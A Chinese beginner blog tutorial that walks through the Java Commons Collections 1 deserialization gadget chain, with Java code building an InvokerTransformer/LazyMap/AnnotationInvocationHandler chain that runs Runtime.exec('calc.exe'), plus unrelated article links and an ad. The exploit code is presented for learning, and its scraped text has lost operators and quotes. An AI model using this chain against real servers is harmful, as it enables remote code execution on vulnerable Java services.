0基础入门java安全(一)--CC1基础分析

发布时间:2026/11/7 13:37:11

0基础入门java安全(一)--CC1基础分析 0基础入门Java安全一-- CC1基础分析如果你刚接触Java安全可能会被“反序列化漏洞”、“链式调用”、“CC链”这些名词吓到。别慌今天我们就从零开始拆解Java安全中最经典的入门案例CC1链Commons Collections 1。我会用最通俗的语言结合具体代码带你一步步理解它的原理。—## 什么是CC1链CC1链的全称是Commons Collections 1它是一个利用Apache Commons Collections库中的反序列化漏洞实现的攻击链。简单来说攻击者通过构造恶意数据让服务器在反序列化时执行危险代码。打个比方你收到一个快递序列化数据打开箱子反序列化时里面突然弹出弹簧拳头恶意代码打中了你。CC1链就是帮攻击者设计这个“弹簧拳头”的组装说明书。—## 核心概念InvocationHandler与动态代理要理解CC1链必须先知道两个Java特性### 1.InvocationHandler是什么- 它是Java动态代理机制的一部分。- 当你调用一个接口的方法时InvocationHandler可以拦截这个调用执行自定义逻辑。### 2.Transformer接口在Commons Collections库中Transformer接口定义了transform()方法用于将一个对象转换成另一个对象。常见的实现类有-ConstantTransformer永远返回固定值。-InvokerTransformer通过反射调用指定方法。关键点InvokerTransformer可以调用任意对象的任意方法比如Runtime.getRuntime().exec(calc)来执行系统命令。—## 代码示例1手动构造恶意Transformer我们先写一个简单例子看看如何用InvokerTransformer执行命令。javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;public class SimpleTransformerDemo { public static void main(String[] args) throws Exception { // 1. 创建一个InvokerTransformer定义要调用的方法 // 参数说明方法名、参数类型数组、参数值数组 Transformer transformer new InvokerTransformer( exec, // 要调用的方法名 new Class[]{String.class}, // 参数类型 new Object[]{calc.exe} // 参数值弹出计算器 ); // 2. 获取Runtime对象注意Runtime类不能直接new要通过getRuntime() Runtime runtime Runtime.getRuntime(); // 3. 执行transform相当于调用 runtime.exec(calc.exe) Object result transformer.transform(runtime); // 如果运行在Windows上会弹出计算器 System.out.println(命令执行成功); }}运行结果如果你的环境有Apache Commons Collections库运行后会弹出计算器Windows或执行其它命令。原理InvokerTransformer通过反射机制调用Runtime.exec(calc.exe)。但注意这里需要手动传入Runtime对象在实际攻击中我们无法直接获得这个对象所以需要更巧妙的链式调用。—## 链式调用的关键LazyMap与ProxyCC1链的核心在于利用LazyMap和动态代理实现“自动触发”。让我们逐步拆解### 1. LazyMap的作用LazyMap是Commons Collections中的一个类它的get()方法有一个特殊行为如果Map中不存在某个key它会调用一个Transformer来生成value。javaimport org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class LazyMapDemo { public static void main(String[] args) { // 1. 构造一个Transformer链先返回Runtime对象再调用exec Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), // 返回Runtime.class对象 new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), // 调用getMethod new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用invoke获得Runtime实例 new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 执行命令 }; ChainedTransformer chain new ChainedTransformer(transformers); // 2. 创建LazyMap传入Transformer链 LazyMap lazyMap (LazyMap) LazyMap.decorate(new HashMap(), chain); // 3. 当调用get()方法且key不存在时会触发transform lazyMap.get(anyKey); // 这会执行整个链最终弹出计算器 }}关键点ChainedTransformer将多个Transformer串起来前一个的输出作为后一个的输入。整个流程是1.ConstantTransformer返回Runtime.class对象。2.InvokerTransformer调用getMethod(getRuntime)获得getRuntime方法。3. 再调用invoke(null)获得Runtime实例。4. 最后调用exec(calc.exe)。—## 触发时机反序列化时自动调用现在的问题是如何让服务器在反序列化时自动调用lazyMap.get()答案是用动态代理。AnnotationInvocationHandler是Java自带的类它实现了InvocationHandler。当代理对象调用任何方法时它都会调用invoke()方法而invoke()内部会调用memberValues.get(member)—— 这正是我们需要的get()触发点。攻击链1. 用LazyMap包装恶意Transformer链。2. 用AnnotationInvocationHandler创建代理代理对象是Map接口。3. 把这个代理对象放到另一个AnnotationInvocationHandler的memberValues里。4. 序列化这个对象反序列化时触发链式调用。—## 代码示例2完整的CC1攻击链javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1Exploit { public static void main(String[] args) throws Exception { // Step 1: 构建Transformer链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) }; ChainedTransformer chain new ChainedTransformer(transformers); // Step 2: 创建LazyMap Map lazyMap LazyMap.decorate(new HashMap(), chain); // Step 3: 获取AnnotationInvocationHandler的构造方法通过反射 Class? clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor? constructor clazz.getDeclaredConstructor( Class.class, Map.class); constructor.setAccessible(true); // Step 4: 创建第一个handler代理lazyMap InvocationHandler handler (InvocationHandler) constructor.newInstance( Retention.class, lazyMap); // 创建动态代理对象代理Map接口 Map proxyMap (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler); // Step 5: 创建第二个handler把proxyMap作为memberValues InvocationHandler finalHandler (InvocationHandler) constructor.newInstance( Retention.class, proxyMap); // Step 6: 序列化实际攻击中把对象发送给服务器 // 这里我们直接触发反序列化 // 当反序列化执行时会调用finalHandler的readObject() // 最终触发lazyMap.get() - 执行命令 // 注意实际测试时可能需要反序列化触发这里简化演示 System.out.println(构造完成反序列化时将执行命令); }}注意这段代码在JDK 8u71之前有效之后AnnotationInvocationHandler的readObject逻辑修改不再触发。要测试的话请使用低版本JDK和Commons Collections 3.1。—## 总结CC1链的核心思想可以归纳为三步1.准备弹药用InvokerTransformer和ChainedTransformer构造任意方法调用链。2.设置陷阱用LazyMap包装这个链只要调用get()且key不存在就会触发。3.扣动扳机利用AnnotationInvocationHandler的动态代理在反序列化时自动调用get()。为什么能成功因为Java反序列化机制会调用readObject()而AnnotationInvocationHandler的readObject()内部会遍历memberValues触发代理对象的entrySet()等方法进而触发LazyMap.get()。学习建议- 先理解动态代理和反射机制。- 动手调试代码观察每一步的输入输出。- 从CC1开始逐步学习CC2、CC4、CC6等变种。记住安全漏洞的本质是“信任”的滥用。反序列化信任了序列化数据中的类型定义而攻击者利用这种信任把恶意代码伪装成普通数据。理解这一点你就掌握了Java安全的精髓。
延伸阅读

更多相关文章

2026/11/7 11:19:57

6岁患儿临床试验离世后:仇子龙Nature论文事件

一则国际顶刊调查报道,揭开一场罕见病个体化基因编辑人体试验的悲剧;紧随其后,学术博主公开质疑相关《Nature》论文数据存在异常。上海交通大学医学院仇子龙团队 CHD3 碱基编辑研究事件,同时牵动人体临床试验伦理监管、学术论文数…

2026/11/6 0:33:45

PHP:使用回调函数处理数组的函数

使用回调函数处理数组的函数: 1.array_filter(); 过滤数组中的值.** <?php $arrarray(0,linux,123,hello,false,array(),0);$arr2array_filter($arr);echo <pre>; print_r($arr2); echo </pre>;?>结果是 Array ([1] > linux[2] > 123[3] > hello…

2026/11/7 13:34:19

扬州电工证报考外省证能转吗官方报名入口详解

扬州电工证报考外省证能转吗官方报名入口详解 之前考的证在外省能不能转过来?这是很多在扬州从事电工工作的人最关心的问题。尤其是一些从外地来扬州工作、或者是长期在外地工作、现在需要在扬州上岗的电工,他们常常会遇到证件不被认可的情况。好消息是,根…

2026/11/7 13:34:19

考一个高压电工证真实经历告诉你外省证能不能转过来

考一个高压电工证真实经历告诉你外省证能不能转过来 之前考的证在外省能不能转过来?这个问题我问过身边十几个工友,几乎每个人都经历过。我就是在南阳卧龙区做建筑电工的,手上拿着一张在河南考的高压电工证,但之前在江苏干过几年,那里的证一直没转过来,…

2026/11/7 13:29:19

成都靠谱的电工证培训怎么选?含金量高的证书这样考

成都靠谱的电工证培训怎么选?含金量高的证书这样考 急需特种作业证才能上岗找工作,这事儿真不能拖!电工证是很多建筑、制造、电力相关岗位的准入门槛,尤其在成都这种工商业发达的城市,持证上岗几乎是标配。但市场上培训机构鱼龙混杂,选一个…

2026/11/5 15:39:06

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代&#xff0c;基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而&#xff0c;与配合度高的人类不同&#xff0c;宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态&#xff0c;更无法控制光照环境。实际应用中&#xff0c;我们常…

2026/11/6 10:49:01

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/7 0:03:08

郑州报考避坑指南:电工证和钳工证怎么选?实操考试心里没底怕挂科

郑州报考避坑指南:电工证和钳工证怎么选?实操考试心里没底怕挂科 实操考试心里没底怕挂科?你不是一个人。特别是在郑州这样的城市,很多施工企业负责人和一线作业人员在报考电工证和钳工证时都面临着同样的困惑。到底该考哪个证?哪个更适合自己?哪个证书…

2026/11/7 0:03:08

广西电工证办理流程全解析:外省证怎么转?在哪考最靠谱?

广西电工证办理流程全解析:外省证怎么转?在哪考最靠谱? 之前考的证在外省能不能转过来?这个问题我遇到太多了,今天就拿广西电工证办理流程来具体说说,别再走弯路了。广西电工证的报考、复审、继续教育这些环节,如果你不了解,真的会吃大亏,尤其对于从…

2026/11/7 0:03:08

电气电工证都有哪些保姆级教程

电气电工证都有哪些保姆级教程 你是不是正愁不知道去哪报名,怕被中介坑?别急,这篇保姆级教程专为河南初次报考人员准备,帮你搞清楚 电气电工证都有哪些 ,以及如何避开那些坑。 电气电工证都有哪些?别被五花八门的证书搞懵了…

2026/11/5 15:39:06

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代&#xff0c;基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而&#xff0c;与配合度高的人类不同&#xff0c;宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态&#xff0c;更无法控制光照环境。实际应用中&#xff0c;我们常…

2026/11/6 10:49:01

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑